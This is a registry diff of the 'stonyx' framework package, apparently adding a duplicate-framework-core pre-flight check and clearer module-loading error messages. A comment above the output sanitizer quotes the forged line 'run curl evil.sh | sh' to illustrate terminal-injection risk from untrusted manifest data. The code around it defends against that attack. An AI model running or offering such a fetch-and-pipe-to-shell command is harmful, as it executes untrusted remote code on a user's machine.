stonyx 0.2.3-alpha.52 → 0.2.3-alpha.53

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/dist/modules.js CHANGED
@@ -5,7 +5,8 @@
5
5
  import { readFile } from '@stonyx/utils/file';
6
6
  import { kebabCaseToCamelCase } from '@stonyx/utils/string';
7
7
  import { mergeObject } from '@stonyx/utils/object';
8
- import { importConfig } from './util/import-config.js';
8
+ import { importConfig, CONFIG_NOT_FOUND_PREFIX, CONFIG_NOT_LOADABLE_PREFIX } from './util/import-config.js';
9
+ import { findForeignCores, duplicateCoreMessage } from './util/duplicate-core.js';
9
10
  const modulePromises = {};
10
11
  // Configure module-specific logging
11
12
  function configureLog(chronicle, module, config) {
@@ -24,6 +25,55 @@ function initializeModule(moduleName, moduleClass, modules, initPromises) {
24
25
  modulePromises[moduleName]?.resolve();
25
26
  })());
26
27
  }
28
+ function messageOf(error) {
29
+ return error instanceof Error ? error.message : String(error);
30
+ }
31
+ /**
32
+ * Why the old single catch had to go (abofs/stonyx#108, invariant I2).
33
+ *
34
+ * It spanned four distinct failure modes — config absent, config present and
35
+ * declined, config throwing, entry point failing — and collapsed all four into
36
+ * one fixed claim: `Stonyx modules with async loading must have a
37
+ * config/environment.js file`. In the reproduction #108 was filed over, BOTH
38
+ * facts in that sentence were false: the named file existed and imported
39
+ * cleanly with nine keys, and the module named was not the module that threw.
40
+ * The real error reached stderr only through a bare `console.error`, unlinked
41
+ * from the thrown one, so a programmatic supervisor — or any log aggregator
42
+ * that keeps the thrown message — lost the diagnosis entirely.
43
+ *
44
+ * `CONFIG_NOT_LOADABLE_PREFIX` was exported by abofs/stonyx#105 for exactly
45
+ * this branch and had zero non-test importers in `src/` until now; #116
46
+ * corrected the doc sentence and deliberately left the code here.
47
+ *
48
+ * NOT DONE, deliberately: #108's AC1 asks that a surviving config-file message
49
+ * be "guarded by an `existsSync` on the module's own config/environment.js".
50
+ * That guard could not fail. `importConfig` throws `CONFIG_NOT_FOUND_PREFIX`
51
+ * only after `existsSync` has already returned false for every extension it
52
+ * loads AND every extension it merely detects, so an `existsSync` re-check in
53
+ * this branch is true by construction — a check that cannot red, which is the
54
+ * defect family this cluster exists to remove. The branch is keyed on the
55
+ * loader's own outcome instead, and the literal string is gone from `src/`
56
+ * altogether, which is what the grep in that AC actually measures.
57
+ *
58
+ * SCOPE: this names which STEP failed and preserves the original verbatim. It
59
+ * does not diagnose WHY a module's own config threw, and it cannot tell a
60
+ * module that ships no config from one whose install was truncated.
61
+ */
62
+ function describeConfigFailure(moduleName, configBasePath, error) {
63
+ const message = messageOf(error);
64
+ if (message.startsWith(CONFIG_NOT_FOUND_PREFIX)) {
65
+ return new Error(`Stonyx module "${moduleName}" carries the "stonyx-async" keyword, which requires it to ship ` +
66
+ `default configuration, and none is installed. Looked for ${configBasePath}.ts and ` +
67
+ `${configBasePath}.js. This file ships inside "${moduleName}" — a missing one is a truncated ` +
68
+ 'or corrupted install of that module, not a mistake in this app\'s own config.', { cause: error });
69
+ }
70
+ if (message.startsWith(CONFIG_NOT_LOADABLE_PREFIX)) {
71
+ return new Error(`Stonyx module "${moduleName}" ships default configuration this Node runtime declined to ` +
72
+ `load. ${message}`, { cause: error });
73
+ }
74
+ return new Error(`Stonyx module "${moduleName}" failed while loading its default configuration from ` +
75
+ `${configBasePath}: ${message}`, { cause: error });
76
+ }
27
77
  export default async function loadModules(config, rootPath, chronicle) {
28
78
  const modules = [];
29
79
  const initPromises = [];
@@ -39,13 +89,17 @@ export default async function loadModules(config, rootPath, chronicle) {
39
89
  modulePromises[moduleName] = promise;
40
90
  promise.ready = new Promise(resolve => promise.resolve = resolve);
41
91
  }
42
- // Standalone module configuration
43
- if (Array.isArray(rootPackage.keywords) && rootPackage.keywords.includes('stonyx-module')) {
44
- configureLog(chronicle, projectName, config);
45
- const entryPoint = typeof rootPackage.main === 'string' ? rootPackage.main : '';
46
- const { default: moduleClass } = await import(`${rootPath}/${entryPoint}`);
47
- initializeModule(projectName, moduleClass, modules, initPromises);
48
- }
92
+ // DISCOVERY, hoisted above the pre-flight.
93
+ //
94
+ // The pre-flight must check exactly what the loader loads, and no more.
95
+ // `@stonyx/*` is a NAME test, not a membership test: a scoped devDependency
96
+ // without the `stonyx-module` keyword is warned about and skipped below —
97
+ // never imported, never configured, incapable of registering anything on any
98
+ // singleton — and refusing to boot over its nested copy prescribed the MODULE
99
+ // AUTHOR's remedy to a package that is not a module and has no such
100
+ // obligation. #106 says the two predicates are different in as many words.
101
+ // So the keyword gate runs first and the pre-flight sees only real modules.
102
+ const discovered = [];
49
103
  for (const moduleName of moduleDependencies) {
50
104
  const modulePackage = await readFile(`${rootPath}/node_modules/${moduleName}/package.json`, { json: true, missingFileCallback: (_filePath) => {
51
105
  console.warn(`Warning: Could not locate stonyx module: "${moduleName}". Module was not loaded`);
@@ -58,26 +112,65 @@ export default async function loadModules(config, rootPath, chronicle) {
58
112
  console.warn(`Warning: Stonyx modules must contain the "stonyx-module" keyword. Module was not loaded`);
59
113
  continue;
60
114
  }
115
+ discovered.push({
116
+ name: moduleName,
117
+ dir: `${rootPath}/node_modules/${moduleName}`,
118
+ package: modulePackage,
119
+ keywords,
120
+ });
121
+ }
122
+ // Pre-flight: invariant I1, "one core". Before ANY module entry point is
123
+ // imported, because the point of the check is the module that would NOT
124
+ // throw — it would load, initialise, and register its hooks on a second
125
+ // singleton that nobody started. See src/util/duplicate-core.ts.
126
+ //
127
+ // It runs over every discovered module, SYNC AND ASYNC ALIKE. A sync module
128
+ // is never imported by the loader, so its second core never announces itself
129
+ // — which is exactly why the mechanism is a pre-flight and not a better
130
+ // catch. The consequence is that `stonyx-async` no longer decides whether a
131
+ // duplicate core is loud: both arms are refused here, by the same check,
132
+ // before the keyword is ever read. docs/modules.md documents that.
133
+ //
134
+ // `console.warn` for the inconclusive probes: fail-open is the policy, but
135
+ // "we could not check" must be distinguishable from "we checked and it is
136
+ // fine". This is the file's existing idiom for a non-fatal loader advisory.
137
+ const foreignCores = findForeignCores(discovered.map(({ name, dir }) => ({ name, dir })), undefined, message => console.warn(message));
138
+ if (foreignCores.length > 0)
139
+ throw new Error(duplicateCoreMessage(foreignCores));
140
+ // Standalone module configuration
141
+ if (Array.isArray(rootPackage.keywords) && rootPackage.keywords.includes('stonyx-module')) {
142
+ configureLog(chronicle, projectName, config);
143
+ const entryPoint = typeof rootPackage.main === 'string' ? rootPackage.main : '';
144
+ const { default: moduleClass } = await import(`${rootPath}/${entryPoint}`);
145
+ initializeModule(projectName, moduleClass, modules, initPromises);
146
+ }
147
+ for (const { name: moduleName, package: modulePackage, keywords } of discovered) {
61
148
  if (!keywords.includes('stonyx-async')) {
62
149
  modulePromises[moduleName].resolve();
63
150
  continue;
64
151
  }
152
+ // Load & Configure Async Modules
153
+ const configBasePath = `${rootPath}/node_modules/${moduleName}/config/environment`;
154
+ let moduleConfig;
155
+ try {
156
+ moduleConfig = await importConfig(configBasePath);
157
+ }
158
+ catch (error) {
159
+ throw describeConfigFailure(moduleName, configBasePath, error);
160
+ }
161
+ const module = kebabCaseToCamelCase(moduleName.split('/').pop() ?? moduleName);
162
+ const userConfig = config[module] || {};
163
+ const finalConfig = mergeObject(moduleConfig, userConfig);
164
+ config[module] = finalConfig;
165
+ // Configure module-specific logging
166
+ configureLog(chronicle, module, finalConfig);
167
+ const entryPath = `${rootPath}/node_modules/${moduleName}/${modulePackage.main}`;
65
168
  try {
66
- // Load & Configure Async Modules
67
- const moduleConfig = await importConfig(`${rootPath}/node_modules/${moduleName}/config/environment`);
68
- const module = kebabCaseToCamelCase(moduleName.split('/').pop() ?? moduleName);
69
- const userConfig = config[module] || {};
70
- const finalConfig = mergeObject(moduleConfig, userConfig);
71
- config[module] = finalConfig;
72
- // Configure module-specific logging
73
- configureLog(chronicle, module, finalConfig);
74
- const entryPoint = modulePackage.main;
75
- const { default: moduleClass } = await import(`${rootPath}/node_modules/${moduleName}/${entryPoint}`);
169
+ const { default: moduleClass } = await import(entryPath);
76
170
  initializeModule(moduleName, moduleClass, modules, initPromises);
77
171
  }
78
172
  catch (error) {
79
- console.error(error);
80
- throw new Error(`Stonyx modules with async loading must have a config/environment.js file with default configurations. Module "${moduleName}" failed to load.`);
173
+ throw new Error(`Stonyx module "${moduleName}" failed while importing its entry point ${entryPath}: ${messageOf(error)}`, { cause: error });
81
174
  }
82
175
  }
83
176
  // Wait until all modules are initialized
@@ -0,0 +1,136 @@
1
+ /** A resolved `stonyx` package: where it physically is, and what version. */
2
+ export interface CorePackage {
3
+ /** Absolute, symlink-resolved package root (the directory holding package.json). */
4
+ root: string;
5
+ version: string;
6
+ }
7
+ export interface ForeignCore {
8
+ moduleName: string;
9
+ moduleCore: CorePackage;
10
+ runningCore: CorePackage;
11
+ }
12
+ /**
13
+ * Told when the probe could not reach a conclusion.
14
+ *
15
+ * FAIL-OPEN IS THE POLICY; SILENCE IS NOT. `findForeignCores` must never invent
16
+ * a boot failure out of an inconclusive probe — but "we could not check" has to
17
+ * be distinguishable from "we checked and it is fine", because the states that
18
+ * fail open are exactly the states in which a genuine second core is present
19
+ * and unreported. Measured on trees that DO carry a second core, each of these
20
+ * boots clean and silent while the control throws in the same run:
21
+ *
22
+ * - an interposed `dist/package.json`, so the running core cannot name itself
23
+ * - a nested `stonyx/package.json` that is not valid JSON
24
+ * - the same file at `chmod 000`
25
+ *
26
+ * A reporter can only write a line. It cannot change the outcome.
27
+ */
28
+ export type InconclusiveReporter = (message: string) => void;
29
+ /**
30
+ * True exactly for the directories Node's own bare-specifier walk emits.
31
+ *
32
+ * `require.resolve.paths(x)` returns the walk FOLLOWED BY the CJS global
33
+ * folders — `NODE_PATH`, `~/.node_modules`, `~/.node_libraries`, the node
34
+ * prefix. ESM ignores every one of those, so honouring them invents a
35
+ * "duplicate" out of an ambient environment variable that the real import never
36
+ * consults. This workspace exports `NODE_PATH` at a different `stonyx`
37
+ * (abofs/stonyx#107), so that false positive is not hypothetical: it flips a
38
+ * tree that boots into a hard refusal.
39
+ *
40
+ * The predicate is the walk's own shape, and it is EXACT rather than
41
+ * approximate. Node emits `<d>/node_modules` for every ancestor-or-self `d` of
42
+ * the starting directory, and never descends into a directory already named
43
+ * `node_modules`. So a candidate qualifies iff it is named `node_modules`, its
44
+ * parent is not, and its parent is an ancestor-or-self of the module dir. Any
45
+ * global-folder entry meeting all three is by construction already in the walk,
46
+ * so admitting it changes nothing; every other one is dropped.
47
+ *
48
+ * The PREVIOUS form tested only `dirname(candidate)` against the module dir.
49
+ * For a real walk entry that is the package root and the test holds by
50
+ * construction — but for a `NODE_PATH` entry the candidate is a raw directory,
51
+ * so `dirname` is its PARENT, and any module dir under that parent passed. It
52
+ * went green on macOS only because `os.tmpdir()` yields `/var/folders/...`
53
+ * while the resolved module dir is `/private/var/folders/...`, so the prefix
54
+ * comparison missed on `/private` rather than on non-ancestry. It reds on
55
+ * Linux, and it reds on macOS the moment `TMPDIR` is realpath-clean.
56
+ *
57
+ * `Module.globalPaths` would express the same restriction by PROVENANCE rather
58
+ * than by shape, and it was measured working at runtime — but `@types/node@25`
59
+ * does not declare it, so it needs an untyped cast whose `?? []` fallback
60
+ * silently restores the defect if the undeclared property ever moves. This form
61
+ * typechecks natively and admits the identical set.
62
+ *
63
+ * `moduleDir` must already be realpath'd; `coreSeenBy` does that first.
64
+ */
65
+ export declare function isWalkEntry(candidate: string, moduleDir: string): boolean;
66
+ /**
67
+ * The nearest ancestor of `startDir` that OWNS a `package.json`, reported only
68
+ * if that package is `stonyx`.
69
+ *
70
+ * Stops at the first `package.json` rather than at the first one NAMED stonyx:
71
+ * the first is by definition the package that owns the file, and continuing
72
+ * past it would walk out of the resolved package and could report an unrelated
73
+ * ancestor — inside this repo's own worktree, that ancestor is the repo root,
74
+ * which IS named `stonyx`. That would make every fixture look like a match.
75
+ *
76
+ * EXPORTED FOR ITS GUARD. That paragraph is an argument that a behaviour is
77
+ * load-bearing, and until D15 the entire suite could not tell the two
78
+ * behaviours apart — a mutant that walked past a non-stonyx manifest survived
79
+ * every test. A docblock asserting a property with no test that can red is the
80
+ * defect family this cluster exists to remove, so the function is exported for
81
+ * one reason: so that claim can fail.
82
+ */
83
+ export declare function owningCore(startDir: string, report?: InconclusiveReporter): CorePackage | null;
84
+ /** The `stonyx` copy that is executing this code. */
85
+ export declare function runningCore(report?: InconclusiveReporter): CorePackage | null;
86
+ /**
87
+ * The `stonyx` copy a package installed at `moduleDir` would import.
88
+ *
89
+ * `require.resolve.paths('stonyx')` gives Node's own `node_modules` walk for a
90
+ * bare specifier, which ESM and CJS share — and unlike `require.resolve` it
91
+ * does not consult the target's `exports` map, so a module whose nested core
92
+ * is present but unbuilt is still detected rather than silently skipped.
93
+ *
94
+ * TWO deliberate narrowings:
95
+ *
96
+ * - `moduleDir` is realpath'd FIRST. Under pnpm, `<app>/node_modules/@stonyx/orm`
97
+ * is a symlink into `.pnpm/@stonyx+orm@v/node_modules/@stonyx/orm`, and Node
98
+ * resolves that symlink before resolving the module's own imports. Walking
99
+ * the symlink path instead reads the app's flat `node_modules` and reports
100
+ * the running core for every module — the check would pass vacuously on
101
+ * exactly the installer `stonyx new` uses.
102
+ * - Candidates are restricted to the entries Node's own walk emits, by
103
+ * `isWalkEntry`. `require.resolve.paths` appends the CJS global folders
104
+ * after the walk and ESM ignores every one of them; see that function for
105
+ * why the predicate is what it is and what the previous one got wrong.
106
+ *
107
+ * Returns `null` when no copy is reachable at all — "cannot tell", handled as
108
+ * not-a-duplicate by `findForeignCores`. Manifests that exist but will not read
109
+ * go to `report`; see `InconclusiveReporter`.
110
+ */
111
+ export declare function coreSeenBy(moduleDir: string, report?: InconclusiveReporter): CorePackage | null;
112
+ /**
113
+ * Every discovered module that would import a DIFFERENT physical core.
114
+ *
115
+ * FAIL DIRECTION — this is the property, not an implementation detail. A
116
+ * module whose core cannot be resolved, and the case where the running core
117
+ * cannot identify itself, both report NOTHING. This guard exists to convert a
118
+ * silent wrong state into a loud one; it must not invent a boot failure out of
119
+ * an inconclusive probe. Every state it does report has two package roots in
120
+ * hand and has compared them.
121
+ */
122
+ export declare function findForeignCores(modules: {
123
+ name: string;
124
+ dir: string;
125
+ }[], core?: CorePackage | null | undefined, report?: InconclusiveReporter): ForeignCore[];
126
+ /**
127
+ * The diagnostic. It replaces the message abofs/stonyx#108 was filed over —
128
+ * `Stonyx modules with async loading must have a config/environment.js file` —
129
+ * which named a file that was present and correct, and named a module that was
130
+ * not the one that failed.
131
+ *
132
+ * Per `quality.md`, the replacement states what it does NOT cover, because the
133
+ * message it replaces is exactly the kind of overstated claim that made the
134
+ * next reader stop checking.
135
+ */
136
+ export declare function duplicateCoreMessage(foreign: ForeignCore[]): string;
@@ -0,0 +1,306 @@
1
+ /**
2
+ * Invariant I1 of the Sprint 93 install-and-boot cluster — "one core".
3
+ *
4
+ * At `Stonyx.start()`, every discovered module must resolve the SAME physical
5
+ * `stonyx` package root as the running core. Otherwise the app has two
6
+ * framework singletons: `loadModules` runs on copy A, and a module whose own
7
+ * subtree carries copy B registers its config, its Chronicle types and its
8
+ * lifecycle hooks on B — which nobody ever `start()`ed.
9
+ *
10
+ * Why a PRE-FLIGHT and not a better `catch`. The catch only sees modules that
11
+ * happen to touch `Stonyx.config` at load time and therefore throw
12
+ * "Stonyx has not been initialized yet". A module that does not touch it at
13
+ * load time does not throw at all: it loads, it initialises, it reports
14
+ * success, and its hooks silently never fire. That failure is invisible today,
15
+ * and no improvement to the catch can reach it. Multiple cores is never a
16
+ * valid state, so it is detected up front and refused.
17
+ *
18
+ * Measured shape this exists for (abofs/stonyx#108, `stonyx new` scaffold at
19
+ * 0.2.3-beta.96): three distinct copies of the core on disk — `0.2.2`,
20
+ * `0.2.3-beta.6`, `0.2.3-beta.11` — because five sibling repos pin the core
21
+ * EXACTLY in their own `dependencies`, and an exact pin cannot dedupe against
22
+ * a sibling's different exact pin.
23
+ */
24
+ import { createRequire } from 'node:module';
25
+ import { readFileSync, realpathSync } from 'node:fs';
26
+ import { basename, dirname, join, sep } from 'node:path';
27
+ import { fileURLToPath } from 'node:url';
28
+ /** Symlinks resolved so `/tmp/...` and `/private/tmp/...` — and pnpm's
29
+ * `node_modules/x -> .pnpm/x@v/node_modules/x` — compare equal. */
30
+ function realPath(path) {
31
+ try {
32
+ return realpathSync(path);
33
+ }
34
+ catch {
35
+ return path;
36
+ }
37
+ }
38
+ const IGNORE = () => { };
39
+ /**
40
+ * True exactly for the directories Node's own bare-specifier walk emits.
41
+ *
42
+ * `require.resolve.paths(x)` returns the walk FOLLOWED BY the CJS global
43
+ * folders — `NODE_PATH`, `~/.node_modules`, `~/.node_libraries`, the node
44
+ * prefix. ESM ignores every one of those, so honouring them invents a
45
+ * "duplicate" out of an ambient environment variable that the real import never
46
+ * consults. This workspace exports `NODE_PATH` at a different `stonyx`
47
+ * (abofs/stonyx#107), so that false positive is not hypothetical: it flips a
48
+ * tree that boots into a hard refusal.
49
+ *
50
+ * The predicate is the walk's own shape, and it is EXACT rather than
51
+ * approximate. Node emits `<d>/node_modules` for every ancestor-or-self `d` of
52
+ * the starting directory, and never descends into a directory already named
53
+ * `node_modules`. So a candidate qualifies iff it is named `node_modules`, its
54
+ * parent is not, and its parent is an ancestor-or-self of the module dir. Any
55
+ * global-folder entry meeting all three is by construction already in the walk,
56
+ * so admitting it changes nothing; every other one is dropped.
57
+ *
58
+ * The PREVIOUS form tested only `dirname(candidate)` against the module dir.
59
+ * For a real walk entry that is the package root and the test holds by
60
+ * construction — but for a `NODE_PATH` entry the candidate is a raw directory,
61
+ * so `dirname` is its PARENT, and any module dir under that parent passed. It
62
+ * went green on macOS only because `os.tmpdir()` yields `/var/folders/...`
63
+ * while the resolved module dir is `/private/var/folders/...`, so the prefix
64
+ * comparison missed on `/private` rather than on non-ancestry. It reds on
65
+ * Linux, and it reds on macOS the moment `TMPDIR` is realpath-clean.
66
+ *
67
+ * `Module.globalPaths` would express the same restriction by PROVENANCE rather
68
+ * than by shape, and it was measured working at runtime — but `@types/node@25`
69
+ * does not declare it, so it needs an untyped cast whose `?? []` fallback
70
+ * silently restores the defect if the undeclared property ever moves. This form
71
+ * typechecks natively and admits the identical set.
72
+ *
73
+ * `moduleDir` must already be realpath'd; `coreSeenBy` does that first.
74
+ */
75
+ export function isWalkEntry(candidate, moduleDir) {
76
+ if (basename(candidate) !== 'node_modules')
77
+ return false;
78
+ const owner = dirname(candidate);
79
+ if (basename(owner) === 'node_modules')
80
+ return false;
81
+ return moduleDir === owner || moduleDir.startsWith(owner.endsWith(sep) ? owner : owner + sep);
82
+ }
83
+ /**
84
+ * `null` when nothing is there — the ordinary case while walking up.
85
+ *
86
+ * A manifest that EXISTS but will not read or parse is a different state, and
87
+ * it is the fail-open site that had neither a signal nor a test. ENOENT and
88
+ * ENOTDIR mean "no package here"; anything else — EACCES from a `chmod 000`, or
89
+ * a SyntaxError from a corrupt manifest, which carries no `code` at all — means
90
+ * a package root was found and could not be inspected.
91
+ */
92
+ function readPackageJson(dir, report = IGNORE) {
93
+ const file = join(dir, 'package.json');
94
+ try {
95
+ return JSON.parse(readFileSync(file, 'utf8'));
96
+ }
97
+ catch (error) {
98
+ const code = error?.code;
99
+ if (code !== 'ENOENT' && code !== 'ENOTDIR') {
100
+ report(`Stonyx: ${file} exists but could not be read as JSON (${code ?? error?.name ?? 'unknown error'}), ` +
101
+ 'so it was not checked for a duplicate framework core.');
102
+ }
103
+ return null;
104
+ }
105
+ }
106
+ function asCore(dir, report = IGNORE) {
107
+ const pkg = readPackageJson(dir, report);
108
+ if (!pkg || pkg.name !== 'stonyx')
109
+ return null;
110
+ // A manifest with no string `version` is malformed, not absent. `'unknown'`
111
+ // keeps the row in the table: dropping the whole core because one field is
112
+ // missing would silently un-detect a real duplicate, which is the failure
113
+ // mode this file exists to remove.
114
+ return { root: realPath(dir), version: typeof pkg.version === 'string' ? pkg.version : 'unknown' };
115
+ }
116
+ /**
117
+ * The nearest ancestor of `startDir` that OWNS a `package.json`, reported only
118
+ * if that package is `stonyx`.
119
+ *
120
+ * Stops at the first `package.json` rather than at the first one NAMED stonyx:
121
+ * the first is by definition the package that owns the file, and continuing
122
+ * past it would walk out of the resolved package and could report an unrelated
123
+ * ancestor — inside this repo's own worktree, that ancestor is the repo root,
124
+ * which IS named `stonyx`. That would make every fixture look like a match.
125
+ *
126
+ * EXPORTED FOR ITS GUARD. That paragraph is an argument that a behaviour is
127
+ * load-bearing, and until D15 the entire suite could not tell the two
128
+ * behaviours apart — a mutant that walked past a non-stonyx manifest survived
129
+ * every test. A docblock asserting a property with no test that can red is the
130
+ * defect family this cluster exists to remove, so the function is exported for
131
+ * one reason: so that claim can fail.
132
+ */
133
+ export function owningCore(startDir, report = IGNORE) {
134
+ let dir = realPath(startDir);
135
+ for (;;) {
136
+ const pkg = readPackageJson(dir, report);
137
+ if (pkg)
138
+ return pkg.name === 'stonyx' ? asCore(dir, report) : null;
139
+ const parent = dirname(dir);
140
+ if (parent === dir)
141
+ return null;
142
+ dir = parent;
143
+ }
144
+ }
145
+ /** The `stonyx` copy that is executing this code. */
146
+ export function runningCore(report = IGNORE) {
147
+ return owningCore(dirname(fileURLToPath(import.meta.url)), report);
148
+ }
149
+ /**
150
+ * The `stonyx` copy a package installed at `moduleDir` would import.
151
+ *
152
+ * `require.resolve.paths('stonyx')` gives Node's own `node_modules` walk for a
153
+ * bare specifier, which ESM and CJS share — and unlike `require.resolve` it
154
+ * does not consult the target's `exports` map, so a module whose nested core
155
+ * is present but unbuilt is still detected rather than silently skipped.
156
+ *
157
+ * TWO deliberate narrowings:
158
+ *
159
+ * - `moduleDir` is realpath'd FIRST. Under pnpm, `<app>/node_modules/@stonyx/orm`
160
+ * is a symlink into `.pnpm/@stonyx+orm@v/node_modules/@stonyx/orm`, and Node
161
+ * resolves that symlink before resolving the module's own imports. Walking
162
+ * the symlink path instead reads the app's flat `node_modules` and reports
163
+ * the running core for every module — the check would pass vacuously on
164
+ * exactly the installer `stonyx new` uses.
165
+ * - Candidates are restricted to the entries Node's own walk emits, by
166
+ * `isWalkEntry`. `require.resolve.paths` appends the CJS global folders
167
+ * after the walk and ESM ignores every one of them; see that function for
168
+ * why the predicate is what it is and what the previous one got wrong.
169
+ *
170
+ * Returns `null` when no copy is reachable at all — "cannot tell", handled as
171
+ * not-a-duplicate by `findForeignCores`. Manifests that exist but will not read
172
+ * go to `report`; see `InconclusiveReporter`.
173
+ */
174
+ export function coreSeenBy(moduleDir, report = IGNORE) {
175
+ const resolvedModuleDir = realPath(moduleDir);
176
+ const candidates = createRequire(join(resolvedModuleDir, 'package.json')).resolve.paths('stonyx') ?? [];
177
+ for (const nodeModulesDir of candidates) {
178
+ if (!isWalkEntry(nodeModulesDir, resolvedModuleDir))
179
+ continue;
180
+ const core = asCore(join(nodeModulesDir, 'stonyx'), report);
181
+ if (core)
182
+ return core;
183
+ }
184
+ return null;
185
+ }
186
+ /**
187
+ * Every discovered module that would import a DIFFERENT physical core.
188
+ *
189
+ * FAIL DIRECTION — this is the property, not an implementation detail. A
190
+ * module whose core cannot be resolved, and the case where the running core
191
+ * cannot identify itself, both report NOTHING. This guard exists to convert a
192
+ * silent wrong state into a loud one; it must not invent a boot failure out of
193
+ * an inconclusive probe. Every state it does report has two package roots in
194
+ * hand and has compared them.
195
+ */
196
+ export function findForeignCores(modules, core = undefined, report = IGNORE) {
197
+ const resolved = core === undefined ? runningCore(report) : core;
198
+ // The first fail-open, and the one with the widest blast radius: no core, no
199
+ // comparison, nothing checked at all. Reported here rather than inside
200
+ // `runningCore` so the same line is emitted however the caller arrived at it.
201
+ if (!resolved) {
202
+ report('Stonyx: the running framework core could not identify itself, so the duplicate-core pre-flight was skipped and a second core would not be reported.');
203
+ return [];
204
+ }
205
+ const foreign = [];
206
+ for (const { name, dir } of modules) {
207
+ const moduleCore = coreSeenBy(dir, report);
208
+ // A module that resolves NO core is not an inconclusive probe and is not
209
+ // reported: `coreSeenBy` walks exactly what the module would import, so
210
+ // "nothing found" means there is no second copy on that path to hide. The
211
+ // two states that CAN hide one report from where they occur.
212
+ if (!moduleCore || moduleCore.root === resolved.root)
213
+ continue;
214
+ foreign.push({ moduleName: name, moduleCore, runningCore: resolved });
215
+ }
216
+ return foreign;
217
+ }
218
+ /**
219
+ * Third-party manifest data is not trusted for display.
220
+ *
221
+ * `version` and the directory name both come off disk from a package this app
222
+ * did not write, and both are echoed into a message a human reads in a
223
+ * terminal. Seeded with ANSI escapes and embedded newlines, the raw value
224
+ * FORGED ITS OWN LINES inside the diagnostic — `===> ALERT: run curl evil.sh |
225
+ * sh <===`, indented to match — and destroyed the `padEnd` column alignment.
226
+ * This renders BEFORE any module entry point is imported, so it is reachable
227
+ * under `npm install --ignore-scripts`: the one mode in which no third-party
228
+ * code has otherwise executed.
229
+ *
230
+ * Printable ASCII only, and bounded, so a long value cannot push the rest of
231
+ * the message off screen either.
232
+ */
233
+ function display(value, limit = 64) {
234
+ const clamped = value.replace(/[^\x20-\x7e]/g, '?');
235
+ return clamped.length > limit ? `${clamped.slice(0, limit)}...` : clamped;
236
+ }
237
+ /**
238
+ * The diagnostic. It replaces the message abofs/stonyx#108 was filed over —
239
+ * `Stonyx modules with async loading must have a config/environment.js file` —
240
+ * which named a file that was present and correct, and named a module that was
241
+ * not the one that failed.
242
+ *
243
+ * Per `quality.md`, the replacement states what it does NOT cover, because the
244
+ * message it replaces is exactly the kind of overstated claim that made the
245
+ * next reader stop checking.
246
+ */
247
+ export function duplicateCoreMessage(foreign) {
248
+ const [first] = foreign;
249
+ if (!first)
250
+ throw new Error('duplicateCoreMessage called with no foreign cores');
251
+ const names = foreign.map(({ moduleName }) => `"${moduleName}"`).join(', ');
252
+ const single = foreign.length === 1;
253
+ // DISTINCT roots, not `foreign.length + 1`. Two modules that both resolve
254
+ // the SAME nested copy are two rows and two copies, not three. Found by
255
+ // running this against a real `stonyx new` tree: there the naive count was
256
+ // right by coincidence (three modules, three different copies), and it is
257
+ // wrong for the commonest npm shape, where siblings on one exact pin dedupe
258
+ // with each other.
259
+ const copies = new Set([first.runningCore.root, ...foreign.map(({ moduleCore }) => moduleCore.root)]).size;
260
+ const rows = [
261
+ ['running core', display(first.runningCore.version), display(first.runningCore.root, 200)],
262
+ ...foreign.map(({ moduleName, moduleCore }) => [`seen by "${moduleName}"`, display(moduleCore.version), display(moduleCore.root, 200)]),
263
+ ];
264
+ const labelWidth = Math.max(...rows.map(([label]) => label.length));
265
+ const versionWidth = Math.max(...rows.map(([, version]) => version.length));
266
+ const versions = [...new Set(foreign.map(({ moduleCore }) => moduleCore.version))];
267
+ // Only offer a pin when there IS one. Three modules pinning three different
268
+ // versions cannot be reconciled by any consumer-side pin, and naming one of
269
+ // them anyway is advice that does not work. The message this one replaces
270
+ // was wrong for exactly that reason — it asserted more than it knew.
271
+ //
272
+ // AND only when that pin is not ALREADY IN EFFECT. Same version at two roots
273
+ // is a duplicate INSTALL, not a version conflict — the shape
274
+ // `npm install -g stonyx` plus `stonyx new` produces, and the one the docs
275
+ // walk a consumer through — so telling them to pin the version their running
276
+ // core already IS, is advice that has demonstrably just failed. That is the
277
+ // same "asserts more than it knows" defect the whole message replaces.
278
+ const consumerRemedy = versions.length !== 1
279
+ ? 'There is no consumer-side pin that fixes this: the modules disagree among themselves ' +
280
+ `(${versions.map(version => display(version)).join(', ')}). They must be republished with the peer shape above.`
281
+ : versions[0] === first.runningCore.version
282
+ ? `Fix (this app, meanwhile): every copy on disk is already stonyx@${display(versions[0])}, so this is a duplicate ` +
283
+ 'INSTALL and not a version conflict — no pin can merge them. Run one core: invoke the CLI from this app\'s own ' +
284
+ 'node_modules/.bin/stonyx rather than a global install, and remove the redundant copy listed above.'
285
+ : `Fix (this app, meanwhile): pin stonyx@${display(versions[0])} so every copy dedupes to one.`;
286
+ return [
287
+ `Stonyx: ${copies} copies of the framework are installed and this app cannot be served.`,
288
+ '',
289
+ ...rows.map(([label, version, root]) => ` ${label.padEnd(labelWidth)} ${version.padEnd(versionWidth)} ${root}`),
290
+ '',
291
+ `Config, logging and lifecycle hooks are registered on the running core. ${names} ` +
292
+ `${single ? 'imports' : 'import'} a different copy, so for ${single ? 'it' : 'them'} \`Stonyx.config\` is empty, ` +
293
+ `\`Stonyx.log\` throws "Stonyx has not been initialized yet", and ${single ? 'its' : 'their'} ` +
294
+ 'startup and shutdown hooks never fire.',
295
+ '',
296
+ `Fix (module author): ${names} must declare stonyx in devDependencies plus a non-optional ` +
297
+ 'peerDependencies range, never as an exact dependency — @stonyx/discord is the reference shape. ' +
298
+ consumerRemedy,
299
+ '',
300
+ 'Scope of this check: it compares physical package ROOTS only. It does not check that the ' +
301
+ 'single surviving copy is a compatible version, and it looks at @stonyx/* packages declared in ' +
302
+ 'this app\'s devDependencies that carry the "stonyx-module" keyword — nothing else. A copy ' +
303
+ 'dragged in by anything outside that set, including an @stonyx/* package declared in ' +
304
+ 'dependencies rather than devDependencies, is not counted.',
305
+ ].join('\n');
306
+ }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "stonyx",
3
- "version": "0.2.3-alpha.52",
3
+ "version": "0.2.3-alpha.53",
4
4
  "description": "Base stonyx framework module",
5
5
  "main": "dist/main.js",
6
6
  "types": "dist/main.d.ts",